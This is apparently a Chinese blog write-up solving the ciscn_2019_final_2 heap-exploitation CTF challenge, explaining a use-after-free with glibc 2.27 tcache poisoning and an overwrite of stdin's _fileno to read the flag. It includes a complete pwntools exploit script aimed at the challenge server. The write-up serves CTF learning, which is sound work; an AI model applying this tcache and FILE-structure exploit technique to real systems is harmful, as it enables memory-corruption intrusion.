ciscn_2019_final_2

checksec

[*] '/home/matrix/PWN/BUU/ciscn_final_2/ciscn_final_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

IDA

  init();                                       // 关闭缓冲,flag文件描述符为666
  Sandbox_Loading();                            // orw
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_atoi();
      if ( choice != 2 )
        break;
      delete();                                 // bss上的chunk指针未置零
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        show();                                 // 只能输出整数,感觉没什么用(打脸了)
      }
      else if ( choice == 4 )
      {
        bye_bye();
      }
    }
    else if ( choice == 1 )
    {
      allocate();                               // malloc(0x20)或者malloc(0x10)向里面写入最多4个字节
    }
  }

关键点
这里主要的漏洞就是delete未置零,UAF配合glibc2.27下的tcache机制

unsigned \_\_int64 delete(){    
[....]
    if ( type == 1 && int_pt )
    {
      free(int_pt);
      bool = 0; //<=====两种chunk类型共用一个bool来进行判断
      puts("remove success !");
    }
    if ( type == 2 && short_pt )
    {
      free(short_pt);
      bool = 0;
      puts("remove success !");
 }

void __noreturn bye_bye()     //<=======IO利用
{
  char v0; // [rsp+0h] [rbp-70h]
  unsigned __int64 v1; // [rsp+68h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("what do you want to say at last? ");
  __isoc99_scanf("%99s", &v0);
  printf("your message :%s we have received...\n", &v0);
  puts("have fun !");
  exit(0);
}  

思路

bye_bye函数进行一次读入和输出可以看作orw的rw,初始化阶段已经将flag文件流重定向到666文件描述符,接下来就是想办法将这一次r改为读取flag。
这里是利用stdin的_fileno成员,因为IO函数最终实现读(0)或写(1)都是依据其_fileno成员作为read或write系统调用的第一个参数,即文件描述符。
这里最为关键的地方是:
在程序的add函数中只能malloc(0x20)或者malloc(0x10)所以并不能直接于libc建立联系,采用的方法是篡改allocated tcache_chunk的size字段为smallchunk范围,即可放入unsortedbin中。利用delete函数中对bool全局变量的不合理检查可以多次对free使得smallchunk放入unsortedbin从而获得,libc地址。
利用tcache attack将freed smallchunk其
libc地址覆盖为_IO_2_1_strin_的_fileno成员地址,之后就可以获取该地址达到读写权,写入666即可

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.12.04 08.51.49
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*

context.arch = 'amd64'

def add(Type,number):
        sh.sendlineafter('> ','1')
        sh.sendlineafter('>',str(Type))
        sh.sendlineafter('number:',str(number))

def message(index,cont):
        sh.sendlineafter('> ','4')
        sh.sendlineafter('at last?\n',str(cont))

def delete(Type):
        sh.sendlineafter('> ','2')
        sh.sendlineafter('>',str(Type))

def show(Type):
        sh.sendlineafter('> ','3')
        sh.sendlineafter('>',str(Type))

def show_addr(name,addr):
        log.success('The '+str(name)+' Addr:' + str(hex(addr)))


#host = 1.1.1.1
#port = 10000
local = 0
if local:
    #context.log_level = 'debug'
    libc=ELF('/glibc/x64/2.27/lib/libc.so.6')
    sh = process('./ciscn_final_2')
else:
    #context.log_level = 'debug'
    libc=ELF('./libc-2.27.so')
    sh = remote('node3.buuoj.cn',26666)

def pwn():
    add(1,0x90909090)
    delete(1)
    add(2,0x9090)
    delete(1)
    show(1)
    sh.recvuntil(':')
    heap_low_4bit = int(sh.recvuntil('\n',drop=1))&0xffffffff   #泄露heap的低4字节
    show_addr('heap_low_4bit',heap_low_4bit)
    add(2,0x9090)
    delete(1)

    add(1,heap_low_4bit+0x40)  #tcache attack 篡改size
    add(1,0)
    #gdb.attach(sh)
    add(1,0x91)
    #gdb.attach(sh)
    for i in range(7):    #用被篡改的chunk填充tcache
        delete(2)
        add(1,0x31)
    #gdb.attach(sh)
    delete(2)
    show(2)
    sh.recvuntil(':')
    libc_low_2bit = int(sh.recvuntil('\n',drop=1))&0xffff   #泄露~libc低2字节
    show_addr('libc_low_2bit',libc_low_2bit)
    _fileno_l2bit = libc_low_2bit - 0x230   #求出_fileno成员的位置
    show_addr('_fileno_l2bit',_fileno_l2bit)
    #gdb.attach(sh)
    add(2,_fileno_l2bit)   #从unsortedbin中切一个0x20出来,会附带~libc的残留数据
    add(1,0)
    delete(1)
    add(2,_fileno_l2bit)  #故技重施,将0x20chunk的~libc地址覆盖为_fileno成员地址
    delete(1)
    add(1,heap_low_4bit+0xa0)  #tcache attack获取_fileno成员的读写权
    add(1,0)
    add(1,0)
    add(1,666)

if __name__ == '__main__':
    pwn()
    sh.interactive()

  转载请注明: Squarer ciscn_2019_final_2

 上一篇
Heap中的off-by-null+unlink(House Of Botcake) Heap中的off-by-null+unlink(House Of Botcake)
个人看法因为比较难的堆题,是不会轻易让你获得chunk overlapping的,而堆的overlapping(堆溢出,chunk extending,他们的目的都差不多)是heap题中任意读写的非常重要的一个条件。而off-by-null
2020-12-06
下一篇 
2020--AXB 2020--AXB
IO_FILEchecksec[*] '/home/matrix/PWN/AXB/IO_FILE/attachment/IO_FILE' Arch: amd64-64-little RELRO: Partial
  目录